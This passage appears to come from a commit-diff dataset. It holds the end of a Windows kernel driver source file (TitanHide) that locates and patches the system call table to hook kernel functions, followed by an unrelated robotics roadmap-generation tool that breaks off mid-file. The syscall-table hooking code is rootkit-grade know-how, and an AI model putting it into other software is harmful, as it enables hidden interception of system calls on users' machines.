InterlockedSet(&SSDT_Table[hHook->SSDTindex], hHook->SSDTnew);\r\n}\r\n\r\nvoid SSDT::Unhook(HOOK hHook, bool free)\r\n{\r\n    if(!hHook)\r\n        return;\r\n    SSDTStruct* SSDT = SSDTfind();\r\n    if(!SSDT)\r\n    {\r\n        Log(\"[TITANHIDE] SSDT not found...\\r\\n\");\r\n        return;\r\n    }\r\n    LONG* SSDT_Table = SSDT->pServiceTable;\r\n    if(!SSDT_Table)\r\n    {\r\n        Log(\"[TITANHIDE] ServiceTable not found...\\r\\n\");\r\n        return;\r\n    }\r\n    InterlockedSet(&SSDT_Table[hHook->SSDTindex], hHook->SSDTold);\r\n#ifdef _WIN64\r\n    if(free)\r\n        Hooklib::Unhook(hHook, true);\r\n#else\r\n    if(free)\r\n        RtlFreeMemory(hHook);\r\n#endif\r\n}<commit_msg>fixed compile error<commit_after>#include \"ssdt.h\"\r\n#include \"undocumented.h\"\r\n#include \"pe.h\"\r\n#include \"log.h\"\r\n#include \"ntdll.h\"\r\n\r\n\/\/structures\r\nstruct SSDTStruct\r\n{\r\n    LONG* pServiceTable;\r\n    PVOID pCounterTable;\r\n#ifdef _WIN64\r\n    ULONGLONG NumberOfServices;\r\n#else\r\n    ULONG NumberOfServices;\r\n#endif\r\n    PCHAR pArgumentTable;\r\n};\r\n\r\n\/\/Based on: https:\/\/github.com\/hfiref0x\/WinObjEx64\r\nstatic SSDTStruct* SSDTfind()\r\n{\r\n    static SSDTStruct* SSDT = 0;\r\n    if(!SSDT)\r\n    {\r\n#ifndef _WIN64\r\n        \/\/x86 code\r\n        UNICODE_STRING routineName;\r\n        RtlInitUnicodeString(&routineName, L\"KeServiceDescriptorTable\");\r\n        SSDT = (SSDTStruct*)MmGetSystemRoutineAddress(&routineName);\r\n#else\r\n        \/\/x64 code\r\n        ULONG kernelSize;\r\n        ULONG_PTR kernelBase = (ULONG_PTR)Undocumented::GetKernelBase(&kernelSize);\r\n        if(kernelBase == 0 || kernelSize == 0)\r\n            return NULL;\r\n\r\n        \/\/ Find KiSystemServiceStart\r\n        const unsigned char KiSystemServiceStartPattern[] = { 0x8B, 0xF8, 0xC1, 0xEF, 0x07, 0x83, 0xE7, 0x20, 0x25, 0xFF, 0x0F, 0x00, 0x00 };\r\n        const ULONG signatureSize = sizeof(KiSystemServiceStartPattern);\r\n        bool found = false;\r\n        ULONG KiSSSOffset;\r\n        for(KiSSSOffset = 0; KiSSSOffset < kernelSize - signatureSize; KiSSSOffset++)\r\n        {\r\n            if(RtlCompareMemory(((unsigned char*)kernelBase + KiSSSOffset), KiSystemServiceStartPattern, signatureSize) == signatureSize)\r\n            {\r\n                found = true;\r\n                break;\r\n            }\r\n        }\r\n        if(!found)\r\n            return NULL;\r\n\r\n        \/\/ lea r10, KeServiceDescriptorTable\r\n        ULONG_PTR address = kernelBase + KiSSSOffset + signatureSize;\r\n        LONG relativeOffset = 0;\r\n        if((*(unsigned char*)address == 0x4c) &&\r\n                (*(unsigned char*)(address + 1) == 0x8d) &&\r\n                (*(unsigned char*)(address + 2) == 0x15))\r\n        {\r\n            relativeOffset = *(LONG*)(address + 3);\r\n        }\r\n        if(relativeOffset == 0)\r\n            return NULL;\r\n\r\n        SSDT = (SSDTStruct*)(address + relativeOffset + 7);\r\n#endif\r\n    }\r\n    return SSDT;\r\n}\r\n\r\nPVOID SSDT::GetFunctionAddress(const char* apiname)\r\n{\r\n    \/\/read address from SSDT\r\n    SSDTStruct* SSDT = SSDTfind();\r\n    if(!SSDT)\r\n    {\r\n        Log(\"[TITANHIDE] SSDT not found...\\r\\n\");\r\n        return 0;\r\n    }\r\n    ULONG_PTR SSDTbase = (ULONG_PTR)SSDT->pServiceTable;\r\n    if(!SSDTbase)\r\n    {\r\n        Log(\"[TITANHIDE] ServiceTable not found...\\r\\n\");\r\n        return 0;\r\n    }\r\n    ULONG readOffset = NTDLL::GetExportSsdtIndex(apiname);\r\n    if(readOffset == -1)\r\n        return 0;\r\n    if(readOffset >= SSDT->NumberOfServices)\r\n    {\r\n        Log(\"[TITANHIDE] Invalid read offset...\\r\\n\");\r\n        return 0;\r\n    }\r\n#ifdef _WIN64\r\n    return (PVOID)((SSDT->pServiceTable[readOffset] >> 4) + SSDTbase);\r\n#else\r\n    return (PVOID)SSDT->pServiceTable[readOffset];\r\n#endif\r\n}\r\n\r\nstatic void InterlockedSet(LONG* Destination, LONG Source)\r\n{\r\n    \/\/Change memory properties.\r\n    PMDL g_pmdl = IoAllocateMdl(Destination, sizeof(LONG), 0, 0, NULL);\r\n    if(!g_pmdl)\r\n        return;\r\n    MmBuildMdlForNonPagedPool(g_pmdl);\r\n    LONG* Mapped = (LONG*)MmMapLockedPages(g_pmdl, KernelMode);\r\n    if(!Mapped)\r\n    {\r\n        IoFreeMdl(g_pmdl);\r\n        return;\r\n    }\r\n    InterlockedExchange(Mapped, Source);\r\n    \/\/Restore memory properties.\r\n    MmUnmapLockedPages((PVOID)Mapped, g_pmdl);\r\n    IoFreeMdl(g_pmdl);\r\n}\r\n\r\n#ifdef _WIN64\r\nstatic PVOID FindCaveAddress(PVOID CodeStart, ULONG CodeSize, ULONG CaveSize)\r\n{\r\n    unsigned char* Code = (unsigned char*)CodeStart;\r\n\r\n    for(unsigned int i = 0, j = 0; i < CodeSize; i++)\r\n    {\r\n        if(Code[i] == 0x90 || Code[i] == 0xCC)  \/\/NOP or INT3\r\n            j++;\r\n        else\r\n            j = 0;\r\n        if(j == CaveSize)\r\n            return (PVOID)((ULONG_PTR)CodeStart + i - CaveSize + 1);\r\n    }\r\n    return 0;\r\n}\r\n#endif \/\/_WIN64\r\n\r\nHOOK SSDT::Hook(const char* apiname, void* newfunc)\r\n{\r\n    SSDTStruct* SSDT = SSDTfind();\r\n    if(!SSDT)\r\n    {\r\n        Log(\"[TITANHIDE] SSDT not found...\\r\\n\");\r\n        return 0;\r\n    }\r\n    ULONG_PTR SSDTbase = (ULONG_PTR)SSDT->pServiceTable;\r\n    if(!SSDTbase)\r\n    {\r\n        Log(\"[TITANHIDE] ServiceTable not found...\\r\\n\");\r\n        return 0;\r\n    }\r\n    int FunctionIndex = NTDLL::GetExportSsdtIndex(apiname);\r\n    if(FunctionIndex == -1)\r\n        return 0;\r\n    if((ULONGLONG)FunctionIndex >= SSDT->NumberOfServices)\r\n    {\r\n        Log(\"[TITANHIDE] Invalid API offset...\\r\\n\");\r\n        return 0;\r\n    }\r\n\r\n    HOOK hHook = 0;\r\n    LONG oldValue = SSDT->pServiceTable[FunctionIndex];\r\n    LONG newValue;\r\n\r\n#ifdef _WIN64\r\n    \/*\r\n    x64 SSDT Hook;\r\n    1) find API addr\r\n    2) get code page+size\r\n    3) find cave address\r\n    4) hook cave address (using hooklib)\r\n    5) change SSDT value\r\n    *\/\r\n\r\n    static ULONG CodeSize = 0;\r\n    static PVOID CodeStart = 0;\r\n    if(!CodeStart)\r\n    {\r\n        ULONG_PTR Lowest = SSDTbase;\r\n        ULONG_PTR Highest = Lowest + 0x0FFFFFFF;\r\n        Log(\"[TITANHIDE] Range: 0x%p-0x%p\\r\\n\", Lowest, Highest);\r\n        CodeSize = 0;\r\n        CodeStart = PE::GetPageBase(Undocumented::GetKernelBase(), &CodeSize, (PVOID)((oldValue >> 4) + SSDTbase));\r\n        if(!CodeStart || !CodeSize)\r\n        {\r\n            Log(\"[TITANHIDE] PeGetPageBase failed...\\r\\n\");\r\n            return 0;\r\n        }\r\n        Log(\"[TITANHIDE] CodeStart: 0x%p, CodeSize: 0x%X\\r\\n\", CodeStart, CodeSize);\r\n        if((ULONG_PTR)CodeStart < Lowest)  \/\/start of the page is out of range (impossible, but whatever)\r\n        {\r\n            CodeSize -= (ULONG)(Lowest - (ULONG_PTR)CodeStart);\r\n            CodeStart = (PVOID)Lowest;\r\n            Log(\"[TITANHIDE] CodeStart: 0x%p, CodeSize: 0x%X\\r\\n\", CodeStart, CodeSize);\r\n        }\r\n        Log(\"[TITANHIDE] Range: 0x%p-0x%p\\r\\n\", CodeStart, (ULONG_PTR)CodeStart + CodeSize);\r\n    }\r\n\r\n    PVOID CaveAddress = FindCaveAddress(CodeStart, CodeSize, sizeof(HOOKOPCODES));\r\n    if(!CaveAddress)\r\n    {\r\n        Log(\"[TITANHIDE] FindCaveAddress failed...\\r\\n\");\r\n        return 0;\r\n    }\r\n    Log(\"[TITANHIDE] CaveAddress: 0x%p\\r\\n\", CaveAddress);\r\n\r\n    hHook = Hooklib::Hook(CaveAddress, (void*)newfunc);\r\n    if(!hHook)\r\n        return 0;\r\n\r\n    newValue = (LONG)((ULONG_PTR)CaveAddress - SSDTbase);\r\n    newValue = (newValue << 4) | oldValue & 0xF;\r\n\r\n    \/\/update HOOK structure\r\n    hHook->SSDTindex = FunctionIndex;\r\n    hHook->SSDTold = oldValue;\r\n    hHook->SSDTnew = newValue;\r\n    hHook->SSDTaddress = (oldValue >> 4) + SSDTbase;\r\n\r\n#else\r\n    \/*\r\n    x86 SSDT Hook:\r\n    1) change SSDT value\r\n    *\/\r\n    newValue = (ULONG)newfunc;\r\n\r\n    hHook = (HOOK)RtlAllocateMemory(true, sizeof(HOOKSTRUCT));\r\n\r\n    \/\/update HOOK structure\r\n    hHook->SSDTindex = FunctionIndex;\r\n    hHook->SSDTold = oldValue;\r\n    hHook->SSDTnew = newValue;\r\n    hHook->SSDTaddress = oldValue;\r\n\r\n#endif\r\n\r\n    InterlockedSet(&SSDT->pServiceTable[FunctionIndex], newValue);\r\n\r\n    Log(\"[TITANHIDE] SSDThook(%s:0x%p, 0x%p)\\r\\n\", apiname, hHook->SSDTold, hHook->SSDTnew);\r\n\r\n    return hHook;\r\n}\r\n\r\nvoid SSDT::Hook(HOOK hHook)\r\n{\r\n    if(!hHook)\r\n        return;\r\n    SSDTStruct* SSDT = SSDTfind();\r\n    if(!SSDT)\r\n    {\r\n        Log(\"[TITANHIDE] SSDT not found...\\r\\n\");\r\n        return;\r\n    }\r\n    LONG* SSDT_Table = SSDT->pServiceTable;\r\n    if(!SSDT_Table)\r\n    {\r\n        Log(\"[TITANHIDE] ServiceTable not found...\\r\\n\");\r\n        return;\r\n    }\r\n    InterlockedSet(&SSDT_Table[hHook->SSDTindex], hHook->SSDTnew);\r\n}\r\n\r\nvoid SSDT::Unhook(HOOK hHook, bool free)\r\n{\r\n    if(!hHook)\r\n        return;\r\n    SSDTStruct* SSDT = SSDTfind();\r\n    if(!SSDT)\r\n    {\r\n        Log(\"[TITANHIDE] SSDT not found...\\r\\n\");\r\n        return;\r\n    }\r\n    LONG* SSDT_Table = SSDT->pServiceTable;\r\n    if(!SSDT_Table)\r\n    {\r\n        Log(\"[TITANHIDE] ServiceTable not found...\\r\\n\");\r\n        return;\r\n    }\r\n    InterlockedSet(&SSDT_Table[hHook->SSDTindex], hHook->SSDTold);\r\n#ifdef _WIN64\r\n    if(free)\r\n        Hooklib::Unhook(hHook, true);\r\n#else\r\n    if(free)\r\n        RtlFreeMemory(hHook);\r\n#endif\r\n}<|endoftext|>"}
{"text":"<commit_before>\/*! \\file generate_roadmap.cpp\n * \\author Chris Dellin <cdellin@gmail.com>\n * \\copyright 2015 Carnegie Mellon University\n * \\copyright License: BSD\n *\/\n\n#include <algorithm>\n#include <fstream>\n\n#include <boost\/property_map\/property_map.hpp>\n#include <boost\/property_map\/dynamic_property_map.hpp>\n#include <boost\/graph\/adjacency_list.hpp>\n#include <boost\/graph\/graphml.hpp>\n#include <boost\/program_options.hpp>\n#include <ompl\/base\/StateSpace.h>\n#include <ompl\/base\/ScopedState.h>\n#include <ompl\/base\/spaces\/RealVectorStateSpace.h>\n#include <ompl\/datastructures\/NearestNeighbors.h>\n\n#include <pr_bgl\/graph_io.h>\n#include <pr_bgl\/string_map.h>\n#include <pr_bgl\/vector_ref_property_map.h>\n#include <pr_bgl\/edge_indexed_graph.h>\n\n#include <ompl_lemur\/util.h>\n#include <ompl_lemur\/rvstate_map_string_adaptor.h>\n#include <ompl_lemur\/FnString.h>\n#include <ompl_lemur\/SamplerGenMonkeyPatch.h>\n#include <ompl_lemur\/NearestNeighborsLinearBGL.h>\n#include <ompl_lemur\/Roadmap.h>\n#include <ompl_lemur\/RoadmapAAGrid.h>\n#include <ompl_lemur\/RoadmapFromFile.h>\n#include <ompl_lemur\/RoadmapHalton.h>\n#include <ompl_lemur\/RoadmapHaltonDens.h>\n#include <ompl_lemur\/RoadmapHaltonOffDens.h>\n#include <ompl_lemur\/RoadmapRGG.h>\n#include <ompl_lemur\/RoadmapRGGDens.h>\n#include <ompl_lemur\/RoadmapRGGDensConst.h>\n\nstruct VertexProperties\n{\n   ompl::base::State * state;\n   int batch;\n   bool is_shadow;\n};\nstruct EdgeProperties\n{\n   std::size_t index;\n   double distance;\n   int batch;\n};\n\ntypedef boost::adjacency_list<\n   boost::vecS, \/\/ Edgelist ds, for per-vertex out-edges\n   boost::vecS, \/\/ VertexList ds, for vertex set\n   boost::undirectedS, \/\/ type of graph\n   VertexProperties, \/\/ internal (bundled) vertex properties\n   EdgeProperties \/\/ internal (bundled) edge properties\n   > Graph;\n\ntypedef boost::graph_traits<Graph>::edge_descriptor Edge;\n\ntypedef boost::property_map<Graph, boost::vertex_index_t>::type VertexIndexMap;\ntypedef boost::property_map<Graph, std::size_t EdgeProperties::*>::type EdgeIndexMap;\n\ntypedef boost::property_map<Graph, ompl::base::State * VertexProperties::*>::type StateMap;\ntypedef boost::property_map<Graph, int VertexProperties::*>::type VertexBatchMap;\ntypedef boost::property_map<Graph, int EdgeProperties::*>::type EdgeBatchMap;\ntypedef boost::property_map<Graph, bool VertexProperties::*>::type IsShadowMap;\ntypedef boost::property_map<Graph, double EdgeProperties::*>::type DistanceMap;\n\ntypedef pr_bgl::edge_indexed_graph<Graph, EdgeIndexMap> EdgeIndexedGraph;\ntypedef ompl_lemur::NearestNeighborsLinearBGL<EdgeIndexedGraph,StateMap> NN;\n\ntypedef ompl_lemur::RoadmapArgs<EdgeIndexedGraph,StateMap,DistanceMap,VertexBatchMap,EdgeBatchMap,IsShadowMap,EdgeIndexedGraph::EdgeVectorMap,NN> RoadmapArgs;\ntypedef boost::shared_ptr< ompl_lemur::Roadmap<RoadmapArgs> > RoadmapPtr;\n\n\nint main(int argc, char **argv)\n{\n   boost::program_options::options_description desc(\"Allowed options\");\n   desc.add_options()\n      (\"help\", \"produce help message\")\n      (\"dim\", boost::program_options::value<int>(), \"hypercube dimension (e.g. 2)\")\n      (\"bounds\", boost::program_options::value< std::vector<std::string> >(), \"(e.g. 0:-2:2)\")\n      (\"roadmap-type\", boost::program_options::value<std::string>(), \"(e.g. Halton)\")\n      (\"roadmap-param\", boost::program_options::value< std::vector<std::string> >(), \"(e.g. num=30)\")\n      (\"num-batches\", boost::program_options::value<std::size_t>(), \"number of batches (e.g. 1)\")\n      (\"out-file\", boost::program_options::value<std::string>(), \"output file (can be - for stdout)\")\n      (\"out-format\", boost::program_options::value<std::string>(), \"output format (graphml or graphio)\")\n   ;\n   \n   boost::program_options::variables_map args;\n   boost::program_options::store(boost::program_options::parse_command_line(argc, argv, desc), args);\n   boost::program_options::notify(args);    \n\n   if (args.count(\"help\"))\n   {\n      std::cout << desc << std::endl;\n      return 0;\n   }\n   \n   const char * reqs[] = {\"dim\", \"roadmap-type\", \"num-batches\", \"out-file\", \"out-format\"};\n   for (unsigned int ui=0; ui<sizeof(reqs)\/sizeof(reqs[0]); ui++)\n   {\n      if (args.count(reqs[ui]) != 1)\n      {\n         OMPL_ERROR(\"--%s must be passed.\", reqs[ui]);\n         return 1;\n      }\n   }\n   \n   int dim = args[\"dim\"].as<int>();\n   OMPL_INFORM(\"Creating unit ompl space of dimension %d ...\", dim);\n   ompl::base::StateSpacePtr space(new ompl::base::RealVectorStateSpace(dim));\n   ompl::base::RealVectorBounds space_bounds(dim);\n   space_bounds.setLow(0.0);\n   space_bounds.setHigh(1.0);\n   \n   const std::vector<std::string> & bounds = args[\"bounds\"].as< std::vector<std::string> >();\n   for (unsigned int ui=0; ui<bounds.size(); ui++)\n   {\n      int idof;\n      double lower;\n      double upper;\n      int n;\n      int ret;\n      ret = sscanf(bounds[ui].c_str(), \"%d:%lf,%lf%n\", &idof, &lower, &upper, &n);\n      if (ret != 3 || n != (int)bounds[ui].size() || idof<0 || dim<=idof)\n      {\n         OMPL_ERROR(\"--bounds %s not properly formatted.\", bounds[ui].c_str());\n         return 1;\n      }\n      space_bounds.setLow(idof, lower);\n      space_bounds.setHigh(idof, upper);\n   }\n   \n   space->as<ompl::base::RealVectorStateSpace>()->setBounds(space_bounds);\n   \n   RoadmapPtr p_mygen;\n   \n   Graph g;\n   \n   pr_bgl::edge_indexed_graph<Graph, EdgeIndexMap>\n      eig(g, get(&EdgeProperties::index, g));\n   \n   NN nnlin(eig, get(&VertexProperties::state,g), space);\n   \n   \/\/ construct roadmap\n   RoadmapArgs rmargs(space, eig, \n      get(&VertexProperties::state, g),\n      get(&EdgeProperties::distance, g),\n      get(&VertexProperties::batch, g),\n      get(&EdgeProperties::batch, g),\n      get(&VertexProperties::is_shadow, g),\n      eig.edge_vector_map,\n      &nnlin);\n   \n   if (args[\"roadmap-type\"].as<std::string>() == \"AAGrid\")\n      p_mygen.reset(new ompl_lemur::RoadmapAAGrid<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"FromFile\")\n      p_mygen.reset(new ompl_lemur::RoadmapFromFile<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"RGG\")\n      p_mygen.reset(new ompl_lemur::RoadmapRGG<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"RGGDens\")\n      p_mygen.reset(new ompl_lemur::RoadmapRGGDens<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"RGGDensConst\")\n      p_mygen.reset(new ompl_lemur::RoadmapRGGDensConst<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"Halton\")\n      p_mygen.reset(new ompl_lemur::RoadmapHalton<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"HaltonDens\")\n      p_mygen.reset(new ompl_lemur::RoadmapHaltonDens<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"HaltonOffDens\")\n      p_mygen.reset(new ompl_lemur::RoadmapHaltonOffDens<RoadmapArgs>(rmargs));\n   else\n   {\n      OMPL_ERROR(\"--roadmap-type unknown!\");\n      return 1;\n   }\n   \n   const std::vector<std::string> & params = args[\"roadmap-param\"].as< std::vector<std::string> >();\n   for (unsigned int ui=0; ui<params.size(); ui++)\n   {\n      size_t eq = params[ui].find('=');\n      if (eq == params[ui].npos)\n      {\n         OMPL_ERROR(\"--roadmap-param has bad format!\");\n         return 1;\n      }\n      p_mygen->params.setParam(params[ui].substr(0,eq), params[ui].substr(eq+1));\n   }\n   \n   std::size_t num_batches = args[\"num-batches\"].as<std::size_t>();\n   OMPL_INFORM(\"Generating %lu batch%s ...\", num_batches, num_batches==1?\"\":\"es\");\n   \n   p_mygen->initialize();\n   while (p_mygen->num_batches_generated < num_batches)\n   {\n      \/\/ generate a graph\n      p_mygen->generate();\n   }\n   \n   OMPL_INFORM(\"Generated graph has %lu vertices and %lu edges.\", num_vertices(g), num_edges(g));\n   \n   \/\/ write it out to file\n   boost::dynamic_properties props;\n   props.property(\"state\", ompl_lemur::make_rvstate_map_string_adaptor(\n      get(&VertexProperties::state,g),\n      space->as<ompl::base::RealVectorStateSpace>()));\n   props.property(\"batch\", pr_bgl::make_string_map(get(&VertexProperties::batch,g)));\n   props.property(\"batch\", pr_bgl::make_string_map(get(&EdgeProperties::batch,g)));\n   props.property(\"is_shadow\", pr_bgl::make_string_map(get(&VertexProperties::is_shadow,g)));\n   props.property(\"distance\", pr_bgl::make_string_map(get(&EdgeProperties::distance,g)));\n   \n   std::ostream * outp;\n   std::ofstream fp;\n   std::string out_file = args[\"out-file\"].as<std::string>();\n   if (out_file == \"-\")\n      outp = &std::cout;\n   else\n   {\n      fp.open(out_file.c_str());\n      assert(fp.is_open());\n      outp = &fp;\n   }\n   \n   std::string out_format = args[\"out-format\"].as<std::string>();\n   if (out_format == \"graphio\")\n   {\n      OMPL_INFORM(\"Writing to graphio file ...\");\n      pr_bgl::write_graphio_graph(*outp, g,\n         get(boost::vertex_index,g), get(&EdgeProperties::index,g));\n      pr_bgl::write_graphio_properties(*outp, g,\n         get(boost::vertex_index,g), get(&EdgeProperties::index,g),\n         props);\n   }\n   else if (out_format == \"graphml\")\n   {\n      OMPL_INFORM(\"Writing to graphml file ...\");\n      boost::write_graphml(*outp, g, get(boost::vertex_index,g), props, true); \/\/ ordered_vertices\n   }\n   else\n   {\n      OMPL_ERROR(\"--out-format must be graphio or graphml!\");\n      return 1;\n   }\n   \n   if (fp.is_open())\n      fp.close();\n   \n   return 0;\n}\n<commit_msg>fix generate-roadmap handing of optional --bounds and --roadmap-param args, handle outfile writing errors<commit_after>\/*! \\file generate_roadmap.cpp\n * \\author Chris Dellin <cdellin@gmail.com>\n * \\copyright 2015 Carnegie Mellon University\n * \\copyright License: BSD\n *\/\n\n#include <algorithm>\n#include <fstream>\n\n#include <boost\/property_map\/property_map.hpp>\n#include <boost\/property_map\/dynamic_property_map.hpp>\n#include <boost\/graph\/adjacency_list.hpp>\n#include <boost\/graph\/graphml.hpp>\n#include <boost\/program_options.hpp>\n#include <ompl\/base\/StateSpace.h>\n#include <ompl\/base\/ScopedState.h>\n#include <ompl\/base\/spaces\/RealVectorStateSpace.h>\n#include <ompl\/datastructures\/NearestNeighbors.h>\n\n#include <pr_bgl\/graph_io.h>\n#include <pr_bgl\/string_map.h>\n#include <pr_bgl\/vector_ref_property_map.h>\n#include <pr_bgl\/edge_indexed_graph.h>\n\n#include <ompl_lemur\/util.h>\n#include <ompl_lemur\/rvstate_map_string_adaptor.h>\n#include <ompl_lemur\/FnString.h>\n#include <ompl_lemur\/SamplerGenMonkeyPatch.h>\n#include <ompl_lemur\/NearestNeighborsLinearBGL.h>\n#include <ompl_lemur\/Roadmap.h>\n#include <ompl_lemur\/RoadmapAAGrid.h>\n#include <ompl_lemur\/RoadmapFromFile.h>\n#include <ompl_lemur\/RoadmapHalton.h>\n#include <ompl_lemur\/RoadmapHaltonDens.h>\n#include <ompl_lemur\/RoadmapHaltonOffDens.h>\n#include <ompl_lemur\/RoadmapRGG.h>\n#include <ompl_lemur\/RoadmapRGGDens.h>\n#include <ompl_lemur\/RoadmapRGGDensConst.h>\n\nstruct VertexProperties\n{\n   ompl::base::State * state;\n   int batch;\n   bool is_shadow;\n};\nstruct EdgeProperties\n{\n   std::size_t index;\n   double distance;\n   int batch;\n};\n\ntypedef boost::adjacency_list<\n   boost::vecS, \/\/ Edgelist ds, for per-vertex out-edges\n   boost::vecS, \/\/ VertexList ds, for vertex set\n   boost::undirectedS, \/\/ type of graph\n   VertexProperties, \/\/ internal (bundled) vertex properties\n   EdgeProperties \/\/ internal (bundled) edge properties\n   > Graph;\n\ntypedef boost::graph_traits<Graph>::edge_descriptor Edge;\n\ntypedef boost::property_map<Graph, boost::vertex_index_t>::type VertexIndexMap;\ntypedef boost::property_map<Graph, std::size_t EdgeProperties::*>::type EdgeIndexMap;\n\ntypedef boost::property_map<Graph, ompl::base::State * VertexProperties::*>::type StateMap;\ntypedef boost::property_map<Graph, int VertexProperties::*>::type VertexBatchMap;\ntypedef boost::property_map<Graph, int EdgeProperties::*>::type EdgeBatchMap;\ntypedef boost::property_map<Graph, bool VertexProperties::*>::type IsShadowMap;\ntypedef boost::property_map<Graph, double EdgeProperties::*>::type DistanceMap;\n\ntypedef pr_bgl::edge_indexed_graph<Graph, EdgeIndexMap> EdgeIndexedGraph;\ntypedef ompl_lemur::NearestNeighborsLinearBGL<EdgeIndexedGraph,StateMap> NN;\n\ntypedef ompl_lemur::RoadmapArgs<EdgeIndexedGraph,StateMap,DistanceMap,VertexBatchMap,EdgeBatchMap,IsShadowMap,EdgeIndexedGraph::EdgeVectorMap,NN> RoadmapArgs;\ntypedef boost::shared_ptr< ompl_lemur::Roadmap<RoadmapArgs> > RoadmapPtr;\n\n\nint main(int argc, char **argv)\n{\n   boost::program_options::options_description desc(\"Allowed options\");\n   desc.add_options()\n      (\"help\", \"produce help message\")\n      (\"dim\", boost::program_options::value<int>(), \"hypercube dimension (e.g. 2)\")\n      (\"bounds\", boost::program_options::value< std::vector<std::string> >(), \"(e.g. 0:-2:2)\")\n      (\"roadmap-type\", boost::program_options::value<std::string>(), \"(e.g. Halton)\")\n      (\"roadmap-param\", boost::program_options::value< std::vector<std::string> >(), \"(e.g. num=30)\")\n      (\"num-batches\", boost::program_options::value<std::size_t>(), \"number of batches (e.g. 1)\")\n      (\"out-file\", boost::program_options::value<std::string>(), \"output file (can be - for stdout)\")\n      (\"out-format\", boost::program_options::value<std::string>(), \"output format (graphml or graphio)\")\n   ;\n   \n   boost::program_options::variables_map args;\n   boost::program_options::store(boost::program_options::parse_command_line(argc, argv, desc), args);\n   boost::program_options::notify(args);    \n\n   if (args.count(\"help\"))\n   {\n      std::cout << desc << std::endl;\n      return 0;\n   }\n   \n   const char * reqs[] = {\"dim\", \"roadmap-type\", \"num-batches\", \"out-file\", \"out-format\"};\n   for (unsigned int ui=0; ui<sizeof(reqs)\/sizeof(reqs[0]); ui++)\n   {\n      if (args.count(reqs[ui]) != 1)\n      {\n         OMPL_ERROR(\"--%s must be passed.\", reqs[ui]);\n         return 1;\n      }\n   }\n   \n   int dim = args[\"dim\"].as<int>();\n   OMPL_INFORM(\"Creating unit ompl space of dimension %d ...\", dim);\n   ompl::base::StateSpacePtr space(new ompl::base::RealVectorStateSpace(dim));\n   ompl::base::RealVectorBounds space_bounds(dim);\n   space_bounds.setLow(0.0);\n   space_bounds.setHigh(1.0);\n   \n   if (args.count(\"bounds\"))\n   {\n      const std::vector<std::string> & bounds = args[\"bounds\"].as< std::vector<std::string> >();\n      \n      for (unsigned int ui=0; ui<bounds.size(); ui++)\n      {\n         int idof;\n         double lower;\n         double upper;\n         int n;\n         int ret;\n         ret = sscanf(bounds[ui].c_str(), \"%d:%lf,%lf%n\", &idof, &lower, &upper, &n);\n         if (ret != 3 || n != (int)bounds[ui].size() || idof<0 || dim<=idof)\n         {\n            OMPL_ERROR(\"--bounds %s not properly formatted.\", bounds[ui].c_str());\n            return 1;\n         }\n         space_bounds.setLow(idof, lower);\n         space_bounds.setHigh(idof, upper);\n      }\n   }\n   \n   space->as<ompl::base::RealVectorStateSpace>()->setBounds(space_bounds);\n   \n   RoadmapPtr p_mygen;\n   \n   Graph g;\n   \n   pr_bgl::edge_indexed_graph<Graph, EdgeIndexMap>\n      eig(g, get(&EdgeProperties::index, g));\n   \n   NN nnlin(eig, get(&VertexProperties::state,g), space);\n   \n   \/\/ construct roadmap\n   RoadmapArgs rmargs(space, eig, \n      get(&VertexProperties::state, g),\n      get(&EdgeProperties::distance, g),\n      get(&VertexProperties::batch, g),\n      get(&EdgeProperties::batch, g),\n      get(&VertexProperties::is_shadow, g),\n      eig.edge_vector_map,\n      &nnlin);\n   \n   if (args[\"roadmap-type\"].as<std::string>() == \"AAGrid\")\n      p_mygen.reset(new ompl_lemur::RoadmapAAGrid<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"FromFile\")\n      p_mygen.reset(new ompl_lemur::RoadmapFromFile<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"RGG\")\n      p_mygen.reset(new ompl_lemur::RoadmapRGG<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"RGGDens\")\n      p_mygen.reset(new ompl_lemur::RoadmapRGGDens<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"RGGDensConst\")\n      p_mygen.reset(new ompl_lemur::RoadmapRGGDensConst<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"Halton\")\n      p_mygen.reset(new ompl_lemur::RoadmapHalton<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"HaltonDens\")\n      p_mygen.reset(new ompl_lemur::RoadmapHaltonDens<RoadmapArgs>(rmargs));\n   else if (args[\"roadmap-type\"].as<std::string>() == \"HaltonOffDens\")\n      p_mygen.reset(new ompl_lemur::RoadmapHaltonOffDens<RoadmapArgs>(rmargs));\n   else\n   {\n      OMPL_ERROR(\"--roadmap-type unknown!\");\n      return 1;\n   }\n   \n   if (args.count(\"roadmap-param\"))\n   {\n      const std::vector<std::string> & params = args[\"roadmap-param\"].as< std::vector<std::string> >();\n      for (unsigned int ui=0; ui<params.size(); ui++)\n      {\n         size_t eq = params[ui].find('=');\n         if (eq == params[ui].npos)\n         {\n            OMPL_ERROR(\"--roadmap-param has bad format!\");\n            return 1;\n         }\n         p_mygen->params.setParam(params[ui].substr(0,eq), params[ui].substr(eq+1));\n      }\n   }\n   \n   std::size_t num_batches = args[\"num-batches\"].as<std::size_t>();\n   OMPL_INFORM(\"Generating %lu batch%s ...\", num_batches, num_batches==1?\"\":\"es\");\n   \n   p_mygen->initialize();\n   while (p_mygen->num_batches_generated < num_batches)\n   {\n      \/\/ generate a graph\n      p_mygen->generate();\n   }\n   \n   OMPL_INFORM(\"Generated graph has %lu vertices and %lu edges.\", num_vertices(g), num_edges(g));\n   \n   \/\/ write it out to file\n   boost::dynamic_properties props;\n   props.property(\"state\", ompl_lemur::make_rvstate_map_string_adaptor(\n      get(&VertexProperties::state,g),\n      space->as<ompl::base::RealVectorStateSpace>()));\n   